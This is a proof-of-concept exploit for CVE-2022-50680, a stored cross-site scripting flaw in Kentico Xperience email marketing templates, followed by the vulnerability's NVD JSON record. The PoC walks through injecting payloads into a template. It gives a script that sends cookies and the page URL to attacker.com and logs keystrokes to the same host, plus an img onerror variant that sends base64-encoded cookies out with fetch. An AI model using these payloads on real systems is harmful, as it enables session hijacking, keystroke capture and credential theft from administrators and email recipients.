CVE-2022-50680

// CVE-2022-50680 Stored XSS PoC for Kentico Xperience // Target: Kentico Xperience Email Marketing Templates // Step 1: Login as admin user to Kentico Xperience CMS // Step 2: Navigate to Email Marketing -> Templates // Step 3: Create or Edit a template and inject the following payload: const xssPayload = ` <script> // Steal cookies and session data document.write('<img src="https://attacker.com/log?c=' + encodeURIComponent(document.cookie + '|URL:' + location.href) + '"/>'); // Keylogger example document.addEventListener('keypress', function(e) { new Image().src = 'https://attacker.com/keys?k=' + e.key; }); </script> `; // Alternative payload using event handlers: const altPayload = ` <img src=x onerror="fetch('https://attacker.com/steal?data=' + btoa(document.cookie))"> `; // The injected script will execute when: // - Admin views the template list // - Users preview the email // - Emails are sent using the template console.log('PoC payload prepared for CVE-2022-50680');

{"cve": {"id": "CVE-2022-50680", "sourceIdentifier": "[email protected]", "published": "2025-12-18T20:15:49.980", "lastModified": "2025-12-27T17:15:40.530", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting vulnerability in Kentico Xperience allows administration users to inject malicious scripts via email marketing templates. Attackers can exploit this vulnerability to execute malicious scripts that could compromise user browsers and steal sensitive information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.0.92", "matchCriteriaId": "3930761A-5576-4229-91B2-C17E34A20863"}]}]}], "references": [{"url": "https://devnet.kentico.com/download/hotfixes", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/kentico-xperience-email-marketing-stored-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}